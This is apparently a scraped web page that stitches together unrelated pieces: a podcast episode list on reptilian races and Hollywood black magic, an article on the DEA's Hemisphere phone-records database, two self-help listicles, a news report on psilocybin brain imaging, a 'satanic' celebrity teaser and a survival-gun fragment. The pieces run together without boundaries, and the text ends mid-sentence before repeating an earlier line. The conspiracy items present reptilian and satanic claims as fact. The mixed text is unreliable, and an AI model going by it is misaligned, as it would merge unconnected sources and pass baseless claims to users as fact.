EPISODE BREAKDOWN: 00:01 Welcome to Buzzsaw. 00:30 Introducing Kerry Cassidy. 01:00 What was the inspiration behind Project Camelot? 07:00 The last pope? 09:00 Illuminati, freemasons, templars, and dark magicians. 13:30 Whistleblowing, the reptilian agenda. and the many different reptilian races. 21:00 The war between humans and the various extraterrestrial factions. 28:30 Truth in certain sci-fi features and black magic in Hollywood. 42:10 Thanks and goodbye.
Shortly after the Snowden leaks began exposing the NSA’s massive collection efforts, the New York Times uncovered the DEA’s direct access to AT&T telecom switches (via non-government employee “analysts” working for AT&T), from which it and other law enforcement agencies were able to gather phone call and location data.
Unlike the NSA’s bulk records programs (which are limited to holding five years worth of data), the Hemisphere database stretches back to 1987 and advertises instant access to “10 years of records.” And unlike the NSA’s program, there’s not even the slightest bit of oversight. All law enforcement needs to run a search of the Hemisphere database is an administrative subpoena — a piece of paper roughly equivalent to calling up Hemisphere analysts and asking them to run a few numbers. Administrative subpoenas are only subject to the oversight of the agency issuing them.
Unlike the documents obtained by the New York Times (possibly inadvertently), these do contain a few redactions, including some apparent success stories compiled at the end of the presentation. But like the earlier documents, the documents show that the DEA and law enforcement have unchecked access to a database that agents and officers are never allowed to talk about — not even inside a courtroom.
It is expected that all Hemisphere requests will be paralleled with a subpoena for CDRs from the official carrier for evidentiary purposes.
It’s spelled out more explicitly on a later slide, listed under “Official Reporting.”
DO NOT mention Hemisphere in any official reports or court documents.
Judging from the request date, it would appear that this version of the Hemisphere presentation possibly precedes the New York Times’ version. However, this one does not name the cooperating telco, although that appears to be a deliberate choice of the person writing the presentation, rather than due to redaction. At one point the document declares Hemisphere can access records “regardless of carrier,” but later clarifies that it will only gather info that crosses certain telecom switches — most likely AT&T’s. Additional subpoenas will be needed to gather info from other carriers, as well as to obtain subscriber information linked to searched numbers. This small limitation plays right into the DEA’s insistence that Hemisphere be “walled off” from defendants, court systems and the public.
If exigent circumstances make parallel construction difficult, Hemisphere analysts (non-government liaisons within the telco) will “continue to work with the investigator throughout the entire prosecution process in order to ensure the integrity of
Hemisphere and the case at hand.” Analysts are allowed to advise investigators on report writing, presentations to prosecutors and issues occurring during the trial phase. The word “integrity” seems out of place when it describes non-government employees assisting government agencies in hiding the origin of evidence from other government agencies.
Cross-referencing what’s been redacted in this one with the unredacted document published earlier, it appears as though the DEA is trying to (belatedly) hide the fact that its Hemisphere can also search IMSI and IMEI data (for wireless connections). Although this document states (after a long redaction) that Hemisphere does not collect subscriber information, that’s only partially true. As of July 2012, subscriber information for AT&T customers can be obtained from the database. This information may have been redacted or it may be that this presentation pre-dates this added ability.
What this shows is that the DEA has access to loads of information and a policy of “parallel construction in all things.” Tons of other government agencies, including the NSA, FBI and CIA are funneling information to the DEA and instructing it to hide the origin. The DEA then demands law enforcement agencies around the nation to do the same thing. This stacks the deck against defendants, who are “walled off” from the chain of evidence, preventing them from challenging sources, methods or the integrity of the evidence itself.
No one wants to be average but by definition most people fall into that category. Break out of the mold and do work that separates you from the rest of the pack through these five strategies.
1. Retrain Your Brain
As long as you as an individual… can convince yourself that in order to move forward as best you can you have to be optimistic, you can be described as ‘one of the faithful,’ one of those people who can say, ‘Well, look, something’s going to happen! Let’s just keep trying. Let’s not give up. — Tom Hanks
The power of belief is staggering. That can be both good and bad. If you believe you’re average you will inevitably remain average. However, if you believe you can be great, doors will start to open. Put some effort into convincing yourself that you’re not just another average person. Convince yourself that being average is a limit you impose on yourself, and keep reminding yourself that you are limitless. The next thing you should do to be more than average is…
2. Attract What You Want
What you seek is seeking you. ― Rumi
The best case scenario is for what you’re after to come to you. Success is extremely attractive, so one of the best ways to attract what you want is by demonstrating your success. Prove to anyone who meets you that you fall in the “above average” category. If you want someone to consider you for your dream job, make it a point to show them why you’re that person’s dream employee. The smartest, simplest way to do that is to always put in your best effort. So you should…
3. Really Do The Work
Laziness may appear attractive, but work gives satisfaction. — Anne Frank
Being average can often equate to being, well, lazy. If you know you can accomplish more but choose not to exert real effort and rise above your peers, the shoe most definitely fits. You may not get fired from your job, but you sure aren’t getting that big promotion. If you’re only making a minimal effort, you’ll only find minimal success. To get further in life you need to really put in the work. If you decide things are “good enough” you will quickly find yourself becoming stagnant. If you keep telling yourself that you can do better, you will become better. But there are other people trying to become more than average, too, so you have to work…
4. Harder, Better, Faster, Stronger
You have to learn the rules of the game. And then you have to play better than anyone else. — Albert Einstein
Be better than your peers by being engaged in what you’re doing. Eliminate all distractions by finding a calm environment. Carve out a place for yourself that is free from the regular demands of your daily life so you can just do the work. The best thing you can do is find somewhere quiet, but even if you are working in a chaotic chaotic you can tune everything out with a pair of headphones and the right music.
5. Don’t Be Forgotten
My biggest fear in life is to be forgotten. — Evita Peron
Average can also mean invisible. If you only do what is asked of you, there’s no reason for people not to forget you. People will remember you if what you do is memorable, so produce work of such a high quality that there’s no way it or you can be forgotten. One trick is to make sure what you offer is distinct from what anybody else does. Find a way to produce things that are truly unique. You can’t be average if you’re original.
Our personality affects many things in our own life. The way we communicate with others, the way we live, the way we walk and talk, all makes our personality. Our personality influences our relationships with friends and family. It is also important for us to maintain a good attitude in our personality for our personal as well as our professional life. There are various basic habits by which we can enhance our personality. Some of the top 10 tips for personality development are given below.
1. Exercise daily:
Your personality also includes your body shape and structure. When you exercise daily you will have an attractive personality and people will admire as well as adore you. It is not just good so that you can look good but also it is good for your body. Exercising daily will keep you away from many diseases ad infections.
2. Work on your accent:
When you speak your accent should be such that pleases everyone. When your accent is good it will directly or indirectly influence people around. You can do this by watching good English movies so that you can adopt the accent they are speaking and also by participating in various debates and social gatherings.
3. Be kind:
When you talk to people whose economic status is less than that of yours, you should treat them equally. You should never differentiate between people who are financially sound and financially not sound. Be kind to the poor and respect the elders. These manners and quality of yours will always enhance your personality and your children will look up to you as a great parent.
4. Good eating habits:
To enhance your personality you should look to your eating habits. You should always eat keeping your mouth closed and making no noise out of your mouth. This comes in the basic manners which will help you to improve your personality. This will also help the people in your family who are younger than you to adapt the same habits which you have.
5. Use ‘please’ and ‘thank you’:
These are the basic manners that one should apply in everyday life. In today’s scenario where mobiles and friends are given more importance than parents we forget to use words such as these. We should always be humble enough to use please, kindly and thank you for what we say. Some people think that by using them others will think less of him/her but it is just a myth. This shows that you have good etiquette and manners embedded in you since childhood.
6. Read a lot:
Reading is a very good habit that every person should build. Reading will increase your knowledge as well as make you wise. Reading good authors is also very important. Select good authors and also read self help books so that you develop your personality reading them. Reading brings to you many other options to help you with. One being it improves your reading then it will improve your vocabulary then you can learn a lot from a single book. A good reader will always become a good speaker.
7. Speak softly:
There is a different grace and elegance in your voice when you speak softly. It shows the humbleness in your nature. Everyone likes people who have a soft tone of speaking and not those who shout on top of their voices. When one speaks softly then it shows that a person is not rebellious and is calm, quite and patient. So this is one of the ways that will definitely enhance your personality and will influence people around you.
8. Dress tidily:
One of the basic manners of a person is seen by the way he/she dresses up. It is not about accessorizing yourself or wearing branded clothes but it is about carrying your own figure well and dressing up tidily no matter where you go. So one should always dress neatly and tidily accompanied by a sweet fragrance that suits your personality. This shows that you are ready and motivated for the task that you are about to do. This is one of the ways of personality development that you should take in consideration for enhancing your personality.
9. Walk with poise:
When you walk with poise you walk gracefully and elegantly. So even how you walk shows your personality. It is said that first impression is the last impression so if you are called for an interview, the interviewers could see how you are just by seeing and noticing how you walk. One should always walk with poise as it reflects your inner self. This is one way how you can develop your overall personality. It is not just one single thing but small basic habit makes up your whole personality.
10. Enhance your vocabulary:
in order develop and enhance your personality your vocabulary should be very good. Try to learn at least 5 different words every day. Make different sentences and use them in your day to day activity. This will make you grow in your vocabulary and will improve your personality. Everybody looks up to the person whose vocabulary is good. This is one of the different ways of improving your personality. The way you speak and what you speak will always influence people around you.
Scientists studying the effects of the psychedelic chemical in magic mushrooms have found the human brain displays a similar pattern of activity during dreams as it does during a mind-expanding drug trip.
Psychedelic drugs such as LSD and magic mushrooms can profoundly alter the way we experience the world, but little is known about what physically happens in the brain.
In a study published in the journal Human Brain Mapping, researchers examined the brain effects of psilocybin, the psychedelic ingredient in magic mushrooms, using data from brain scans of volunteers who had been injected with the drug.
“A good way to understand how the brain works is to perturb the system in a marked and novel way. Psychedelic drugs do precisely this and so are powerful tools for exploring what happens in the brain when consciousness is profoundly altered,” said Dr Enzo Tagliazucchi, who led the study at Germany’s Goethe University.
Magic mushrooms grow naturally around the world and have been widely used since ancient times for religious rites and also for recreation.
British researchers have been exploring the potential of psilocybin to alleviate severe forms of depression in people who don’t respond to other treatments, and obtained some positive results from early-stage experiments.
In the United States, scientists have seen positive results in trials using MDMA, a pure form of the party drug ecstasy, in treating post-traumatic stress disorder.
DREAM-LIKE STATE
People who use psychedelic drugs often describe “expanded consciousness”, including vivid imagination and dream-like states.
To explore the biological basis of these experiences, Tagliazucchi’s team analysed brain imaging data from 15 volunteers who were given psilocybin intravenously while they lay in a functional magnetic resonance imaging (fMRI) scanner.
The volunteers were scanned under the influence of psilocybin and when they had been injected with a placebo, or dummy drug. The researchers looked at fluctuations in what is called the blood-oxygen level dependent (BOLD) signal, which tracks activity levels in the brain.
They found that with psilocybin, activity in the more primitive brain network linked to emotional thinking became more pronounced, with several parts of the network – such as the hippocampus and anterior cingulate cortex – active at the same time. This pattern is similar to when people are dreaming.
They also found that volunteers on psilocybin had more disjointed and uncoordinated activity in the brain network that is linked to high-level thinking, including self-consciousness.
“People often describe taking psilocybin as producing a dreamlike state and our findings have, for the first time, provided a physical representation for the experience in the brain,” said Robin Carhart-Harris of Imperial College London’s department of medicine, who also worked on the study.
“I was fascinated to see similarities between the pattern of brain activity in a psychedelic state and the pattern of brain activity during dream sleep, especially as both involve the primitive areas of the brain linked to emotions and memory.”
(Reporting by Kate Kelland, editing by Mark Trevelyan)
Both Alex Jones and Larry King cancelled interviews with celebrity actress Tila Tequila…. why?
very DARK & SATANIC! I am not joking.
We’ve all been part of these discussions, and we’ve all read a ton of them on forums and blogs over the years: “if you could have only one gun for TEOTWAWKI, what would it be?” A more enlightened-seeming variant on this same theme are discussions that start with, “if you could pick only three guns for TSHTF…”
In order to help local police officers protect themselves while fighting the largely unsuccessful War on Drugs, the federal government passed legislation in 1994 allowing the Pentagon to 
re be “walled off” from defendants, court systems and the public.
